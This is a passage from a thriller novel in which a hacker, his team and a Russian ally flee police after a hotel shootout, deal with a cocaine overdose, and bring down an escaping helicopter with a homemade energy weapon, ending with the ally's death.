"The booms," said Moshen. "I'm down here in the parking garage with Roger. There's, like, gunshots or something coming from the emergency stairs. There aren't any cameras in the fire escape, so none of us can see anything."

Natalie's matronly voice appeared on the channel. "Danny, those shots are echoing all over the building. I can see people freaking out everywhere. They're, like, staring at the emergency exits with 'Holy shit' faces."

“Danny!” Natalie barked. “Someone’s coming!”

“What?” Danny said. “Who? Where?”

“There’s two people with guns running to the stairwell,” she said.

“Yeah, no shit. There’s people with guns everywhere,” Danny said.

“No, Danny, there’s something different about these two,” Natalie explained. “All over the building, all the hotel guests are running away from the stairwell. But these two guys — actually, one guy and one woman... They looked just like anybody else at first... Then suddenly they whipped out guns and started rushing *toward* the emergency exit on their floor. They’re both standing outside one of the doors to the stairwell right now — they’re on either side holding their guns out. They look like pros.”

“What the fuck?” Danny screeched.

“One’s pulling out something from her pocket,” Natalie added. “It’s black with something shiny attached. I can’t tell what. The other’s talking on his cellphone in one hand with his gun in the other.”

“God damn it...!” Danny said, fighting panic. “Which floor are they on?”

“I can’t tell by looking,” said Natalie. “Every hallway looks the same in there... Danny, the woman looks like she’s getting ready to body-check the door and spin in at any moment. The dude’s holding back a few feet, like he’s giving her cover.”

“Well, Jesus... If they’re not with Sergey, and they’re not with Ivan,” Danny yelled, “then who the hell are they?”

With a sudden crash that reverberated down the concrete walls, a fire door a few levels above slammed open. Over the scuttling sounds of motion, over the rapid footsteps, over the grunts of surprise and the clicking of firearms, a woman’s voice rang out through the stairwell. “Freeze! Police!”

Danny held his breath.

“Put your weapons on the ground,” she commanded slowly, “and raise your arms above your heads! Both of you!”

A man yelled, “Come on, you heard the lady! Don’t make this hard!”

There were a few seconds of tense stillness, permeated by soft, pained, cough-like breathing. Danny gripped the railing tightly, holding every muscle taut, careful to avoid making a sound. He was two landings below where the police had entered. *Both of you*, the woman had said, apparently referring to Leo and his attacker — meaning that they didn’t know Danny was below them. He willed himself to stay statue-like and silent.

The man above said, “Come on, buddy! I don’t care how big your gun is or how much armor you got on. How far you think you’ll make it on that bum leg of yours?”

A gentle tapping noise indicated a gun being placed slowly on the floor. The slow, quiet tread of rubber-soled shoes on concrete crunched down the stairs. It was followed by the ratcheting clicks of metal handcuffs.

The policewoman's voice called out from above. "Hey, Mack! Looks like my guy up here took a two-twenty-three to the gut. He's not doing too good."

The male cop replied, "Yeah, mine took a shot just above the knee. Calling for medical, hold on."

Danny heard the distinctive beep and squelch tone of a trunked digital radio system. The device that Natalie had seen the cop speak into wasn't a cellphone — it was a small walkie-talkie.

"Dispatch, come in, over," said the man.

A speech-like warble came from his radio unit in reply.

"This is Detective Macintyre, with Detective Santello, on plainclothes patrol at the Medina Gallante hotel. Responding to a request by Officer Wight after a routine Medina traffic stop of a company van carrying suspicious persons. Dispatch, we've got a situation here..."

Leo interrupted. "I need a bandage," he hissed quietly through his teeth.

"You need a surgeon, pal," the cop replied. "Don't worry, help's on the way. But first, there's something I need to tell you."

“What?” Leo moaned.

The cop answered, “You have the right to remain silent. Anything you say can and will be used against you in a court of law...”

Below, Danny slowly resumed descending the stairs, praying that the policeman’s voice would mask the sound of his movements. He visualized himself moving through tar, inches at a time, clutching the railing for balance.

After two more floors, Danny found himself stepping onto the wide landing of the ground floor. To his side, the stairs continued downward to the parking garage. Ahead, a fire door stood between him and the maintenance corridor. He opened it gently, and stepped out of the dim stairwell and into the “HOTEL STAFF ONLY” hallway, lit by harsh white fluorescent tubes overhead.

“Cops,” he gasped into the Bluetooth as he softly closed the door behind him.

“Jesus. Tina, this whole building is going to be crawling with law enforcement soon. Tell Sergey and Eugene. They’ll need to be ready for extraction before the cavalry arrives.”

Tina answered, “I lost them.”

“‘Lost’ them?” Danny echoed.

“Sergey’s connection went dead,” Tina said, “and Eugene is still on the channel but he isn’t responding. I don’t know what happened. None of us have any idea if they’re alive or dead up there.”

Danny closed his eyes and rubbed his temples. “What a giant fucking mess.”

“At least you got out alive,” Tina consoled.

Danny’s throat felt tight. He stared at the door to the stairwell from which he’d just emerged. “We can’t just leave them up there. They have to know about Leo and the cops...”

Satish chimed in, “Assuming they haven’t been killed already anyway.”

Jason added, “Exactly. Danny, you can figure out how to check up on Sergey and Eugene later. Right now you need to be getting yourself to safety.”

Danny frowned sharply. “You’re right,” he said with distaste. He looked down the drab hallway lined with plain gray doors. “I’ll go grab my HERF gun from the security office and join you on the yacht.”

He strode down the corridor. It was silent, save for the faint hum of the fluorescent tubes in the ceiling.

When he came to the security office and opened the door, he was greeted by the blissfully familiar sight of his energy weapon charging against the wall, its LEDs glowing green. Seeing his machine filled him with comfort and peace. This tool,

designed by his own mind and assembled by his own hands, gave him some modicum of power and control in a chaotic, violent world filled with rough, strong, battle-scarred men — a world in which he didn't belong.

The wound on his shoulder ached as he reached down to unplug it. Danny remembered that he, too, bore scars of battle now.

Inside the room, an odd odor hung in the air: the acrid stink of burnt plastic. It was coming from deep inside the room, where the motley assortment of Gallante security guards and Russian gangsters sat bound with Eugene's knotwork. From the doorway, Danny turned his head toward the collection of captives.

The three towel-clad Russian mercenaries were free. One was hastily untying another, his own nylon cords lying undone at his feet. The third, his face suppressing grimaces of

pain, was rubbing his wrists, which looked reddened and swollen. On the floor, between the trio of underdressed Russians and the stout Latina security guard, lay a cigarette lighter.

Their eyes were affixed on Danny. One of them growled a Russian word.

"Oh, God damn it," Danny mumbled, and bolted.

The three Russian mercenaries gave chase down the maintenance hallway, each one self-consciously keeping one hand on the white towel around his waist. Danny sprinted toward the door at the end of the corridor, which would lead him out to the hotel's spacious lobby. Still dizzy from the flash grenade, he nearly tripped over his own feet. Like a nightmare, the exit seemed to recede farther with each step he took toward it.

Behind him, he heard the Russians gaining. He knew he'd never make it out of this hallway.

A nondescript gray door passed on his side as he ran. With the rosy-skinned men only a few feet behind him, he grabbed the door's handle and pushed it open, revealing a small, cramped janitor's closet filled with mops and buckets and bottles of detergents. He hurled himself inside and slammed the door shut behind him. He dug his heels into the floor and pressed his back against the door, using the strength of his legs to keep the door shut as the naked Russians beat and kicked against the outside.

The room was completely dark. A sliver of light occasionally appeared as the Russians slammed their bodies against the door to overcome Danny's resistance, showing metal shelves holding large plastic jugs.

"Janitor's closet. What's going to be in a janitor's closet?" he said hurriedly.

"Bleach. Windex. Toilet bowl cleaner. Bleach is sodium hypochlorite. Toilet bowl cleaner is going to

be either sulfuric acid or sodium hydroxide, with buffers. Maybe with aluminum shavings. Windex is... Um... What's the chemical formula for Windex? It's some kind of alcohol, right? Fucking hell, I always sucked at chemistry..."

A solid blow against the door almost knocked him off of his feet. He realized that, even if he could come up with something clever to do with the chemicals in the closet, actually doing it would require him to reach for the bottles around him — and that meant leaning away from the door.

"Guys..." he said with a gulp. "I might have made a slight miscalculation here..."

Moshen answered him on the comm channel. "Danny. Those three guys... They're unarmed, right?"

"Yeah, Moshen, but..." Danny said despondently. "There's three of them, and each one is twice my size. They'll have no problem beating me to death with their bare hands."

Confidently, Moshen answered, "Me and Roger, we're, like, right downstairs from you. We're in the parking garage. The stairs go right up to that hallway you're in."

"And?" Danny pressed.

Moshen didn't answer him. Instead, he said, "Roger, come with me!" Roger mumbled something apprehensive. There was the sound of metallic clattering. "Sit tight, Danny!"

“I’ve got nowhere to go, Moshen,” Danny said nervously. His muscles were beginning to give out. The periodic openings of the door were getting bigger. “Hey, Tina?” he said into his Bluetooth.

“What is it, Danny?” her voice replied.

Sorrowfully, he said, “Can you put us in a private channel? Just you and me?”

“Yeah...,” she said. Background static disappeared.

“Listen,” he said. “It really doesn’t look good for me here...”

“Danny, come on...!” Tina protested. “You’ll think of a way out of this!”

“I don’t think so.” His boots slipped along the floor as the strength in his legs faltered. “Now, look... I know you and I just met, like, literally yesterday... But I just... I just want you to know... Look, you know, people say, ‘Die with no regrets,’ right? And...”

He was interrupted by a loud wailing from the hallway outside, starting far down the corridor but quickly growing louder as it got closer. It was the sound of a young male voice screaming, “*Kyuuuuuaaaaaaaaah!*”

There was a series of hard impacts, of grunts and smacks, of kicks in stomachs and fists in faces. Hands and heads crashed against the walls beside the closet door, accompanied by shouts of resistance and cries of pain. The pounding against the closet door came to an abrupt stop. Finally, there was a crumpling thud against the floor, and then peace.

Danny stood back. With shock and bewilderment, he let the door swing slowly open.

Moshen and Roger stood in the bright, fluorescent-lit hallway. They both held long, sturdy metal rods that Danny recognized as mounting brackets for microwave antenna assemblies, pulled from the back of the Claymore Communications van. Roger's face was beaten — he pressed his fingers against a busted lip and a bleeding nose. Moshen looked unhurt; he stood calmly just outside the closet door, slapping the metal rod rhythmically against his palm.

At the Asian kid's feet, the three towel-clad Russian mercenaries lay face-down and unconscious, bleeding all over the floor.

"Moshen?" Danny gasped. "What the hell...?"

"Come on, Danny!" said Moshen encouragingly. "Grab your zap-gun and let's go back upstairs. You said you wanted to tell Sergey about Leo and the cops, right?"

Moshen began to walk away, beckoning for Danny to follow. The Asian kid's sneakers left crimson stains on the floor in the Russian bodyguards' blood.

“How...” Danny stammered. “How did you... How did *you*...?”

Moshen simply shrugged. “I told you when we first met, Danny: I know kung fu.”

THE PENTHOUSE ANTECHAMBER WAS STILL and silent. The carpeted floor and gilded walls were pocked and dented with bullet holes. Crimson smears of fresh blood streaked across the metallic walls. Spent bullet casings glinted yellow amidst the deep red carpet. A few panes of the large plate-glass windows that looked out over the lake and city had been shattered by gunfire, filling the small hallway with a gentle breeze. The large cedar doors of the Presidential Suite hung slightly ajar.

Danny listened carefully as he approached. From inside the suite came soft sounds of groaning, of coughing, of rattling breath. There were voices in conversation — some frantic, some gentle. But there was no gunfire, no sounds of motion or impact, no hurried rustling of clothes or stomping of running feet.

Danny waved for Roger and Moshen to stay back by the elevator and keep their distance. He used his HERF gun as a stick to carefully prod the door open. The motion was not met with gunfire.

Inside, casualties littered the luxurious suite. Bodies of mercenaries lay slumped over furniture, crumpled over the edge of the sunken living room or prostrate on the floor. Most of them weren't dead — at least, not yet. They twitched and

coughed and pressed their hands tightly against their wounds. One man had apparently dragged himself aimlessly across the floor; he lay limp at the end of a long, dark, wet trail, no longer breathing.

The women seemed to have mostly avoided the gunfire. One stood alone in a corner with her arms crossed, glaring contemptuously at Ivan's men as they lay dying. One held a mercenary in her arms as he struggled to breathe through a sucking chest wound. One was crying hysterically while another tried to offer her solace.

Danny squared his shoulders and entered the room. Shiny brass bullet casings rolled on the hardwood beneath his feet. The air was filled with the acrid smell of burnt gunpowder, the dull metallic scent of lead, and the sharp organic stink of blood and other bodily humors. His team proceeded cautiously toward the wide, elegant spiral stairs, while Ivan's mercenaries and concubines tracked them silently with their eyes. One step at a time, the three of them slowly ascended to the second floor.

The stairs opened out to a wide carpeted floor, with a conference room on one side and a hallway of bedrooms on the other. The glass walls of the conference room were shattered. Bodies lay sprawled across a bullet-chipped table.

From the bedrooms came the sound of a child's sobbing.

Danny and his team followed the sound. It led them to an open doorway. The door itself lay flat on the floor inside, with torn chunks of wood hanging from its hinges.

Sergey's deep voice rumbled from within, interwoven with the child's.

Danny stepped through the doorway. He saw Sergey's colossal armor-clad form kneeling beside a bed. His helmet and shield lay idly on the floor nearby. In his arms, he cradled an exceptionally pretty twelve-year-old girl.

She saw Danny enter the bedroom, and looked at him with curiosity and a hint of reflexive apprehension.

Sergey noticed her eyes pointing at the doorway. He reacted by instantly swinging out his MAC-10.

Danny dove to the floor. "Sergey, it's me!"

Sergey's eyebrows curled quizzically. "Daniel?"

Danny brought himself back up to his feet. Roger and Moshen looked carefully through the doorway and followed him into the room.

Sergey walked towards Danny slowly, lurching from one step to the next. Sergey's face was expressionless, but streaks of tears ran along the sides of his nose. For a moment, he stood motionless, saying nothing.

Then, without warning, he reached out to grab Danny with both arms, and pulled him in for a crushing, suffocating hug, almost tight enough to crack ribs.

At some point when Danny felt himself beginning to turn blue, Sergey finally released him. He walked back to his daughter and took her small, delicate hand in his own. "Rosie, this is Daniel," he said. "He is a good man."

Danny waved a greeting to the young girl, but met Sergey's eyes with a look of deep concern. "Sergey, listen... There are cops in the building. They arrested Leo. They'll be all over the place soon."

Sergey's expression darkened. "Leo got arrested?"

Danny nodded somberly.

"Where is Eugene?" asked the Russian. "He is downstairs, yes?"

Danny shook his head. "I didn't see him. And he's not responding on his Bluetooth."

Leading Rosie by the hand, Sergey pushed his way through the doorway past Danny and his team. "Come on, we have to find him!" he said, and hurried across the hallway.

When Danny caught up to him, he was crouched at the top of the stairs, with his MAC-10 in one meaty paw and Rosie's small hand in the other. He scanned the suite carefully from his high vantage point for any possible lingering threats.

Suddenly, with a tone of horror, he screamed out, “*Zhenka!*” He briskly motioned to his daughter to stay back, and ran heedlessly down the spiral staircase.

Danny, Moshen, and Roger exchanged quizzical glances. While Moshen and Roger stood upstairs with Rosie, Danny followed Sergey down the stairs.

Sergey was in the sunken living room, kneeling on the floor over a fallen body. The coffee table was smashed. The couches were torn apart with bullets. The huge television was destroyed, its cracked green circuitboards peeking out from behind the shattered screen.

Eugene was lying face-down on the floor beside the broken coffee table.

“No, no...,” Sergey gasped, and felt for his nephew’s pulse.

As Danny approached, he saw a deep dent in Eugene’s helmet. He had apparently taken a bullet to the head. The helmet had kept it from piercing his skull, but the impact must’ve nonetheless felt like a baseball bat to the cranium.

The prone man’s unconscious body was still moving — his hands and feet jerked with activity. As Danny drew nearer, he could clearly see that Eugene was still breathing.

In fact, he was breathing quite rapidly.

Too rapidly.

And then, a new smell hit Danny's nostrils: a bitter, antiseptic, medicinal smell, with pungent hints of acetone. The odor hung thickly in the sunken living room, growing stronger as Danny came closer to Eugene's fallen position by the glass coffee table. Danny had come to know that smell only recently. He recognized it from his own kitchen, when Tina had performed her first successful extraction from the *E. coli*. It was the smell of cocaine.

Sergey gently turned Eugene's head to take off his open-faced helmet. Eugene's cheeks and nose were encrusted in white powder.

A thick heap of the drug lay strewn just beneath the man's face. Less than a foot away, the crystal bowl that had sat on the coffee table lay shattered in a dozen fragments.

Eugene had fallen face-down into the pile. Unconscious and helpless, he had lain there inhaling the narcotic.

Sergey pulled the dented helmet away and pried open one of Eugene's eyes. The pupils were so wide that the iris was invisible. The other eye opened in response, and the two enormous black dots darted back and forth in unison to survey the room. His face was pale and damp with sweat. His jaw was clenched tight.

Sergey gulped hard and tried to prop Eugene to his feet. "*Zhenka! Zhenka, davai! Vstavai!*"

Violent spasms shook Eugene's limbs. He tried to stand by his own strength, but his legs shuddered under his weight. Sergey held him upright and tentatively released him. Eugene balanced for a moment, then clutched his stomach and collapsed to his hands and knees. He began dry-heaving, his entire body racked by convulsions. He tried to say something between guttural coughs, but he fumbled the words upon his lips.

A thin, scared voice came from the stairs. "*Zhenya...*?"

Moshen and Roger had brought Rosie down to the first floor. The young girl ran toward the sunken living room.

Sergey intercepted her. He grabbed her before she could reach Eugene and forcefully turned her around, holding one of his large hands over her eyes. "Get her out of here!" he commanded Danny. "Don't let her see this!" The girl struggled against her father's grasp, but had about as much success as bending an iron bar.

Eugene slowly climbed back onto his unsteady feet, and suddenly began vigorously brushing his arms, as though they were crawling with invisible insects.

Danny looked at Roger and Moshen. "The cops have a medical team on the way. If we can get Eugene to them, they might be able to..." He looked at Eugene. He was giggling under his breath. "...stabilize him. Handing him over to the cops sucks, but it's better than..."

Beside them, Eugene began humming an atonal melody.

Roger and Moshen exchanged glances. Moshen looked down nervously. "I really don't want to talk to any more cops tonight."

Roger frowned, at least inasmuch as his bruised lip would permit. "I'll do it," he mumbled grudgingly. He came down into the living room pit, and gingerly put a hand on Eugene's back. Eugene jumped into a defensive posture and began throwing wild, aimless punches in all directions. Roger leaned away and waited for the flurry to finish, then gently coaxed the athletic Russian to follow him. Eugene walked in jerky, halting steps, babbling rapidly in Russian and periodically jumping to duck from some hallucinated danger. The two left the suite and headed toward the stairwell.

Danny came up to Sergey, who was still holding and comforting his daughter. "Roger's getting Eugene help," Danny told him. "When he's done, Roger and his girlfriend can get out of here on his bike. As for the rest of us, we need to haul our asses to the yacht. The Claymore van is no good to us anymore; the Medina camera system will flag it the moment it hits the streets. But we can still make it to the boat if we hurry."

Sergey held his daughter tightly. He didn't seem to hear him.

Danny put a hand on Sergey's back. "Come on. We have to go *now*."

Slowly, Sergey turned toward him. His face was almost crimson with fury. His moist lips were curled in a teeth-baring grimace. Tears streamed from his eyes.

He stepped away from Rosie, looked around the room, and screamed something in Russian.

All around him, the survivors of his rampage gazed at him with scared, silent faces.

Sergey spun in place, meeting each of their eyes. At random, he picked a fallen bodyguard who still seemed conscious. He ran to him, reached down with one hand, and pulled him up by the collar of his shirt. He screamed into the injured man's face, spittle flying from his lips.

The bodyguard merely gave him a weak shrug and shook his head.

Sergey, outraged, thrust the MAC-10 under the man's head, pushing the end of the suppressor into man's chin. Sergey repeated his question.

The bodyguard responded with something snide.

Danny saw Sergey's finger begin to clench on the trigger.

"Sergey!" he yelled. "What are you doing!?"

Sergey turned his face toward Danny. In his field of vision, he saw Rosie looking back at him, watching him handle the helpless, wounded mercenary.

Sergey pulled his MAC-10 away from the man's neck and threw him gruffly back down to the ground.

"He doesn't know," Sergey growled dismissively. He waved his gun over the other survivors, who winced and flinched as the barrel swept over them. "None of them know."

"Know what?" Danny asked.

"Ivan!" Sergey roared. "He is here somewhere! I saw him slink away during fighting like a pathetic rat! He is here, and by God I swear he will pay, once and for all!" He walked up to Danny and stood uncomfortably close to him. With his eyes melting into pleading sorrow, he said to him in a hoarse voice, "Help me, Daniel. Help me to stop this man from getting away. Help me make this wretched curse I have lived under to finally end."

Danny shrugged helplessly, unsure of what Sergey expected for him to be able to do. "Which way did you see him go?"

Sergey pointed with his gun toward the cedarwood doors that opened out to the antechamber.

Danny stood and pondered. "Well, he couldn't have gone far. We control the elevator, so he couldn't have taken it out of this suite. So he must've taken the stairs. My team's been watching the video feeds, and they haven't seen him step

out onto any of the floors, nor into the maintenance corridor on the ground level, nor the parking garage below that. So he took the stairs, but he didn't go down. The only place left to go is up. To the..."

He was interrupted by a slowly growing noise coming from the open balcony doorway: a distant, rhythmic, rapid thumping.

Sergey darted through the balcony's French doors and looked toward the source of the sound. In the southwestern sky, floating through the air high above the calm waters of Lake Washington, a dot of light drifted gently in a straight line toward the Medina Gallante.

A helicopter.

It was close enough for Sergey to make out its shape, to see the blurred circle of its whirling blades. It was not a SWAT helicopter, nor a news chopper, nor a medevac. It was tiny, barely larger than a car, clearly with very little lift or fuel capacity — suited solely for transporting a single high-paying chartered passenger for a trip to Sea-Tac Airport.

"Son of a bitch!" Sergey screamed.

He took aim with the MAC-10 at the approaching copter and opened fire, sending the sharp crack of automatic gunfire echoing out over the lake and the evergreen treetops. His efforts were ineffectual; the machine pistol was a close-quarters

spray-and-pray weapon, not a sniper rifle. Sergey's bullets had no hope of reaching his target, but that didn't stop him from exhausting his ammo clip in trying.

The helicopter continued its straight-line course for the Gallante.

Sergey kept pulling the trigger repeatedly after his bullets ran out, as though the strength of his hand could squeeze one more round out of the gun. With a grunt of mindless frustration, he hurled the gun at the helicopter, sending it arcing over the edge of the balcony and rustling the branches of the pines below.

There was a bang from overhead. A crater-like chip suddenly appeared in the balcony floor beneath Sergey's feet.

He looked upward. The roof of the hotel, about three stories above, was ringed with an ornate stone balustrade. Peering over that balustrade was the shape of a man's head and shoulders. The shoulders were dressed with the crisp angles of a fine three-piece suit, and the head was fringed with sleek gray hair.

There was another gunshot from above. Next to Sergey, a bullet zinged off of the balcony railing.

Sergey ran to the wall and grabbed the long black nylon rope that Eugene had used to rappel from the roof. He pulled on it to test its strength, checking to see if it could hold his weight. Warily, he eyed the distance between the balcony and the

roof above. With a heaving grunt, he grabbed the rope with both immense hands, propped his booted feet up against the wall, and slowly began pulling himself up to confront his foe.

The rapid rhythmic thump of the helicopter grew ever closer.

Before he could ascend more than a few feet, a bullet slammed into his shoulder, mere inches from his unprotected head. The force knocked him back down to the balcony floor.

In the light of the moon and stars, Sergey could see a small gun in Ivan's hands. The starlight glinted off of his eyes and teeth. The man was grinning.

Ivan took aim.

Sergey rolled quickly onto his stomach and crawled stumblingly through the balcony doors back into the suite.

He tried to stand, grabbing at the wall for balance, but his legs gave out from under him. He fell to his knees and groaned, breathing heavily, clutching his chest.

"Sergey!" Danny ran up to him and tried to help him to his feet. The ox-like, armor-clad Russian was astonishingly heavy.

Sergey's eyes looked glossy and unfocused. He shook his head vigorously and let out a few forced, dry, rumbling coughs.

“Jesus Christ, man, are you alright?” Danny asked softly.

Rosie, watching from nearby, came running toward her father with a worried, terrified face. “He needs his pills!” she yelled to Danny.

Sergey’s hand moved from his pants pocket to his mouth. He looked away and hid his face behind his palm. His lips moved as he worked up enough saliva to swallow the pills dry.

Outside, the tone of the chopper’s blades changed. It began a descent.

Sergey looked somberly back and forth between Danny and Rosie.

He hugged his daughter tightly. “Rosie, stay with Daniel. He is smart man. Listen to what he says. He will protect you.”

The large Russian turned his head, and his eyes met Danny’s. In a low, rumbling voice, Sergey said to him, “Daniel. Take care of my daughter.”

And with those words, he bounded through the living room, across the suite, out the cedarwood doors, and across the antechamber to the stairwell.

Danny, Rosie, and Moshen looked back and forth at one another awkwardly.

Danny gulped.

Rosie was the first to speak. “What are you all worried about?” she said insistently. “He’ll be fine! He always comes out fine. He’s my Dad! He knows how to do this stuff! He...” Her voice cracked.

Danny looked for something to say. He couldn’t think of anything. For a moment, the three of them stood in tense, uncomfortable silence.

A voice chattered on Danny’s headset. It was Roger. “Danny! Danny, are you there?”

“Roger?” Danny asked. “Did you get Eugene to the cops?”

Roger answered, “Uh... I found the cops, but...”

“But what?!” Danny demanded. “Did you get Eugene to them or not?”

“Danny, you’d better listen to this...,” said Roger.

In the background of the teleconference, Danny could hear voices shouting. “...You sent me a squad car!?” one yelled. Danny recognized it as the male detective he had dodged in the stairwell. “Santello and I found all the security guards — *all* the security guards, do you fucking understand me? — *bound and gagged*, and you send me a goddamned *squad car*? There’s machine gun fire from the upper levels, there’s a fallen dead body on the ground, all phone lines are compromised... Captain, do you think this is fucking Disneyland? We’re in the

middle of some kind of military operation! We need fucking SWAT out here! We need choppers, we need snipers, we need Coast Guard! We need the wrath of God coming down on this place, and we need it *right fucking now!*”

Danny stood and listened. His throat went dry. “Roger...”

“What?” Roger replied.

“Get down to the garage, start your bike, and get out of here like a bat out of Hell.” Danny turned to the girl, knelt down to meet her at eye level, and placed his hands comfortingly on her shoulders. “Rosie, this guy over here...” He pointed to Moshen, who stood nearby looking uncomfortable. “He’s going to take you downstairs. We’ve got a boat to get you away from here. Quickly.”

Moshen nodded obediently, and rushed Rosie out of the room.

Into the headset, he said, “Jason. The whole lake is going to be swarming with Coastie boats in a matter of minutes. You can’t be anywhere near the Gallante when they arrive. Get under way the second Moshen and Rosie are aboard.”

Jason paused for a moment. “What about you, Danny? And, uh, not that I care, but what about Sergey?”

“Set a course for the Kirkland Marina, Jason. It’s only a few miles away. We’ll get there on foot.”

A stiff wind began to blow through the room. Air rushed in from the balcony doorway. On the deck outside, brass shell casings clinked in a downdraft from above.

Tina's voice said, "Danny... What do you think you're doing?"

Danny hoisted his HERF gun over his shoulder and turned toward the cedarwood doorway. He answered, "I have no idea. I haven't thought that far ahead."

DANNY BURST THROUGH A HEAVY GRAY DOOR at the top of the stairwell, and was greeted by a blast of wind blowing furiously from the helicopter's thundering blades. His hair swept back away from his face; his clothes flapped in the gale. He squinted against the dust billowing into his eyes. With his homemade energy rifle in his hands, he paused in the doorway and surveyed the roof.

The wide, flat asphalt expanse was bedecked with blocky machinery — with HVAC equipment and air conduits and water tanks. The helicopter landing platform — a smooth, squat square of concrete, only two feet tall but about as wide as a city street — dominated the rooftop across from the stairwell door.

The small chopper hovered forty feet above the helipad, illuminated from below by bright white landing lights. It bobbed and weaved in the air at shifting angles, struggling for attitude and altitude.

Sergey Mukhayev hung from one of its landing skids.

He clung to the rail, fighting both gravity and the downward current of rushing air. The knuckles of his massive hands were flexed white; the muscles of his arms bulged beneath his armor. He twisted and curled his body, trying to hoist himself up high enough to get a leg onto the skid even as the helicopter bucked in response to his movements. The small chopper's underpowered motor struggled to lift the mass of the armor-clad Russian. His heavy body dragged down one side of the vehicle, forcing the pilot to constantly adjust the pitch of the rotor blades to account for the shifting, lopsided distribution of weight.

Danny sprinted across the rooftop, heading into the wind and the rhythmic roar. The air, beaten relentlessly down by the helicopter's blades, howled past his ears and rippled on his skin as he drew closer to the helipad.

As he ran, his mind raced with diagrams and schematics. On the back of the two-seat chopper, tucked into its bubble-like chassis just beneath its tail, Danny could clearly see the distinctive piping of an exhaust manifold, much like on a souped-up sports car; superheated air streamed from the pipe, creating transparent ripples of optical distortion. The helicopter was powered by a simple four-cylinder internal combustion engine. An electromagnetic pulse would do nothing to the engine's mechanical components — its pistons, its drive belts, its combustion chambers would all be completely oblivious to his weapon. But Danny was willing to bet that, just like with the automotive industry, in the past few decades the construction of aircraft engines had likely begun to integrate

microprocessors to improve performance and fuel efficiency. The engine's hardware would be immune to the HERF gun, but its electronically regulated fuel injection system and digitally-timed spark gaps wouldn't be so lucky.

And then there was the interface between the machine and the pilot — the altimeter, the attitude indicator, the vertical and horizontal airspeed gauges, the radio for calling Sea-Tac Airport's air traffic control tower. Danny knew that there was a human being inside that cockpit — in fact, he counted on it. That human being was an integral component of the flight system, without whom the vehicle could not remain aloft. Danny's goal wasn't to bring the chopper down in a fiery crash, but rather to exploit the pilot's training to get him to ease it back onto the helipad. If all the gauges on the instrument panel suddenly went dead forty feet above a landing zone, the pilot's immediate reaction would be to abort the flight and dismiss the vehicle as unfit to fly. And if the engine did happen to abruptly cut out, then an automatic clutch would disengage the rotor from the engine and autorotation would kick in. Angular momentum and air resistance would keep the overhead blades spinning long enough to permit the pilot to touch down safely. The tilt of those blades was controlled by a swashplate, a cleverly designed assemblage of joints and rods that linked mechanically all the way back to the control stick inside the cockpit. The pilot would be able to maintain command of the vehicle's flight surfaces even without power, allowing him to guide it in for an emergency landing.

At least, in theory.

Danny ran up a short, wide concrete ramp and ascended to the helipad, his clothes whipping in the gusts of air pounded away by the rotor blades. The low, flat concrete clearing opened out before him, illuminated with bright white lights, bearing a large circled letter “H”. Above him, the thunderous machine teetered in the air, fighting for stability. Sergey swayed by one arm beneath its metal belly, his body swinging wildly from the unstable helicopter like a punching bag pounded by a boxer’s fist. He kicked and yanked to try to grab hold of the skid with his other hand. Even through the din of the helicopter, Danny could hear Sergey grunting and roaring from exertion.

Danny took aim. He held the HERF gun by its heavy pack of blue cylinders under one arm and the pistol grip of the microwave horn in his opposite hand, aligning its relay-spined PVC tube with his line of sight.

He pulled the trigger.

Above, the cockpit went dark.

The sound of the helicopter overhead abruptly changed. The rapid staccato pulse of the spinning blades continued, but a rumbling undercurrent of sound beneath it suddenly went quiet. From the exhaust pipe, the rippling stream of superheated air vanished.

With its rotor blades still whirling, the vehicle gradually began to sink back down toward the helipad.

And Sergey's entire body went limp.

His kicking and grunting suddenly ceased. His legs, abdomen, and chest systematically went slack. His free hand momentarily clutched his chest before dropping loosely to his hip.

Danny looked on, realizing something was horribly wrong. "Sergey...?"

The large armor-clad Russian dangled from the landing skid beneath the helicopter, unpowered and inanimate, like a rag doll hanging from a banister.

And slowly, the thick, muscular fingers of his meaty hand slipped from the rail. His massive body fell away from the helicopter and sailed downward through the air.

"Sergey!" Danny screamed helplessly.

Above, the chopper sprang sideways the instant it was free of its imbalanced load. The machine veered drastically away from the helipad and tilted violently. Inside the cockpit, the pilot fought furiously with the controls to keep the vehicle poised over the pad for a safe landing. He overcorrected, causing the helicopter's bubbly body to lurch and sway beneath its decelerating rotors like a tire swing. The chopper soared back toward the helipad and overshot it, then bucked aggressively as the pilot desperately tried to marshal the rotor's dwindling energy for another pass. The unpowered vehicle continued to sink down through the air.

Sergey's large body hit the smooth concrete with a loud thud.

"Sergey! Sergey, what the hell?" Danny screamed.

The Russian lay in a motionless heap.

Danny ran to him, sprinting across the helipad as the chopper listed overhead. He dropped his HERF gun and knelt beside the fallen body, the knees of his overalls scraping roughly against the landing surface. His hands waved frantically over the crumpled form, not knowing what he could do help or even where it would be safe to touch. Bones had surely broken in the fall, but Danny could see no bullet wounds, no head trauma, nothing that would explain Sergey's sudden collapse.

"Come on, man! Get up!" Danny pleaded. "What happened?"

Sergey's head was turned aside. Danny reached down and took the large Russian's face in both hands, feeling the bristly skin of his cheek and chin against his fingers, and rotated his head to face him. Sergey's jaw was slack. Behind drooping eyelids, his eyes were misaligned and unfocused.

Across the helipad, the pilot finally managed to ground his crippled vehicle. Even as the chopper was still settling on its skids, the passenger door opened. Fine black shoes stepped out onto the concrete, matching the crisply-pressed pants of a three-piece suit.

As Danny drew his hands away from Sergey's face, he saw white outlines of his own fingers pressed into the Russian's skin. The pale impressions lingered, like handprints in cement. Living flesh, with flowing blood and full capillaries beneath it, would've quickly returned to skin tone. Sergey's didn't.

Danny grabbed a wrist and felt for a pulse, urgently groping with desperate fingers beneath Sergey's thick, muscular hand. There was none to be found. He tried to locate it on the man's neck, but to no avail.

Sergey's heart wasn't beating.

"God, why!?" Danny shrieked. "For fuck's sake, why!?"

Danny pulled at Sergey's arm, and with a heaving grunt he managed to turn the man's body so that it lay flat on its back. With trembling hands he hurriedly undid the clasps and zippers of Sergey's armor. Danny didn't know CPR, and over the slowing thump of the helicopter rotor he couldn't hear the voices of Tina or Natalie on the Bluetooth earpiece to coach him through it. What he did know, however, is that the human body is a machine and the heart is a pump. He'd repaired many a jittery monitor or squeaky CPU fan with a good stiff whack to the chassis. If percussive maintenance could fix failing electronics, it just might restore function to the meaty muscle inside the Russian's ribs.

He pulled the bulletproof armor, hot and damp inside, away from Sergey's torso, leaving him dressed in a sweat-drenched button-down shirt. Danny curled his hand into a fist and raised it high above his head, preparing to give a sharp, pounding blow onto the man's sternum in a desperate attempt at resurrection.

It was then that he saw Sergey's ancient wounds.

